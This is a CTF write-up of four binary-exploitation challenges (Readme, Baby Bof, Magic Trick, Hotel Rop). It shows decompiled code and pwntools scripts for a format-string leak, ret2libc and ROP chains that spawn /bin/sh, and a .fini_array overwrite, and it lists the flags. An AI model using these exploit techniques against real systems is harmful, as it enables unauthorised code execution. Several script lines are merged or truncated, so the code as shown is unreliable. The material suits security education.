Skip to main content


Here comes the spotlight of the writeups. The writeups below are all written by @wonyk.

Readme (150 pts)#

Read me to get the 7481

Firstly, we take a look at the decompiled code in Ghidra.

void vuln(void)
{  FILE *__stream;  long in_FS_OFFSET;  char local_58 [32];  char local_38 [40];  long local_10;    local_10 = *(long *)(in_FS_OFFSET + 0x28);  __stream = fopen("flag.txt","r");  fgets(local_58,0x1c,__stream);  fclose(__stream);  puts("hello, what\'s your name?");  fgets(local_38,0x1e,stdin);  printf("hello ");  printf(local_38);  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return;}

It seems like a classic format string exploit since printf is used directly on user input. Moreover, the flag is stored on the stack inside the variable local_58. This means that we just need to brute force the various offsets and attempt to leak the flag content.
#!/usr/bin/env python3
from pwn import *import time
context.log_level = 'WARN'
if args.REMOTE:    p = remote('', 7481)else:    p = process('./readme')    # gdb.attch(p)
payload = b'%p'*15p.sendlineafter(b'?\n', payload)time.sleep(0.5)res = p.recvS()print(res)

Trying out the various leaked addresses, and some trial and error, we discover the flag using cyberchef.


The closing curly braces are not present in the stack. This is most likely because of reading a total of 0x1c (28) characters which probably includes the null-byte while the total length of the flag is 28.

Flag: dctf{n0w_g0_r3ad_s0me_b00k5}

Baby Bof (250 pts)#

It's just another 7481

We are provided with the binary and a dockerfile.

void vuln(void)
{  char local_12 [10];    puts("plz don\'t rop me");  fgets(local_12,0x100,stdin);  puts("i don\'t think this will work");  return;}

While they did not give a libc file, the Dockerfile means we are supposed to search for the version of libc. A quick online search reveals that Ubuntu 20.04 uses

checksec reveals that there is NX enabled with no PIE and no canary.

The gameplan is simple:

  1. Leak the libc address using puts@plt and puts@got to calculate offset
  2. Overflow the local variable and overwrite the return pointer
  3. Craft the ROP chain using system and /bin/sh string using the pop rdi gadget
  4. Profit
#!/usr/bin/env python3
from pwn import *import sysimport time
context.log_level = 'INFO'e = context.binary = ELF('./baby_bof')s = ELF('./')
puts_plt = e.plt['puts']puts_got =['puts']main = e.symbols['main']system = s.symbols['system']binsh = next('/bin/sh'), None)pop_rdi = 0x400683ret = 0x40048e
if args.REMOTE:    p = remote('', 7481)else:    p = process('./baby_bof')    gdb.attach(
payload = b'A' * 10payload += b'B' * 8payload += p64(pop_rdi)payload += p64(puts_got)payload += p64(puts_plt)payload += p64(main)
p.sendlineafter(b'me\n', payload)
#Parse leaked addressp.recvline()leaked_puts =  u64(p.recv(6).ljust(8,b"\x00"))'Address of puts: ' + hex(leaked_puts))
libc_base = leaked_puts - s.symbols['puts']binsh += libc_basesystem += libc_base
buf = b'A' * 10buf += b'B' * 8buf += p64(pop_rdi)buf += p64(binsh)buf += p64(ret)buf += p64(system)
p.sendlineafter(b'me\n', buf)

Flag: dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}

Magic Trick (300 pts)#

How about a magic trick?nc 7481

Decompiling the binary reveals that it is extremely helpful. It allows us to write to any address any particular value!

undefined8 main(void)
{  alarm(10);  puts("How about a magic trick?");  puts("");  magic();  return 0;}

Moreover, it has additional benefits of no PIE, no Fortify and no RELRO!

Unfortunately, after the writes, there are no more PLT calls, so we have to try something else.

Googling for possible solutions, we come across an article which talks about the .fini_array which contains addresses. Those functions will be called during function deconstruction. We can get the .fini_array address in GDB since PIE is not enabled using info files.

Editing the array will cause the win function to be called!
#!/usr/bin/env python3
from pwn import *
context.log_level = 'WARN'e = context.binary = ELF('./magic_trick')
got =['exit']fini = int('0x600a00', 16)win_addr = e.symbols['win']if args.REMOTE:    p = remote('', 7481)else:    p = process('./magic_trick')    gdb.attach(, '''    b *main+58    c''')
p.sendlineafter(b'write\n', str(win_addr))p.sendlineafter(b'it\n', str(fini))

Flag: dctf{1_L1k3_M4G1c}

Hotel Rop (400 pts)#

They say programmers' dream is California. And because they need somewhere to stay, we've built a hotel!nc 7480

Sounds interesting! Let's decompile it.

undefined8 main(void)
{  alarm(10);  printf("Welcome to Hotel ROP, on main street %p\n",main);  vuln();  return 0;}

As seen, the challenge author is kind enough to straight up give us the address of the main function for us to calculate offsets. Moreover, california and silicon_valley will transform the global variable win_land into /bin/sh to be passed into system.

So convenient! We simply have to calculate the offset, calls them and setup the rdi and rsi for the loss function and viola, we have the flag.
#!/usr/bin/env python3
from pwn import *
context.log_level = 'WARN'e = context.binary = ELF('./hotel_rop')main = e.symbols['main']california = e.symbols['california'] - mainsilval = e.symbols['silicon_valley'] - mainloss = e.symbols['loss'] - mainpop_rdi = 0x140b - mainpop_rsi_pop_r15 = 0x1409 - main
arg1 = 0x1337c0dearg2 = 0xdeadc0de - arg1
if args.REMOTE:    p = remote('', 7480)else:    p = process('./hotel_rop')    gdb.attach(
p.recvuntil(b'street ')offset = int(p.recvlineS().strip(), 16)
payload = b'A' * 32payload += b'B' * 8payload += p64(california + offset)payload += p64(silval + offset)payload += p64(offset + pop_rdi)payload += p64(arg1)payload += p64(offset + pop_rsi_pop_r15)payload += p64(arg2)payload += p64(0xabcdabcd)payload += p64(offset + loss)
p.sendlineafter(b'?\n', payload)p.interactive()

Flag: dctf{ch41n_0f_h0t3ls}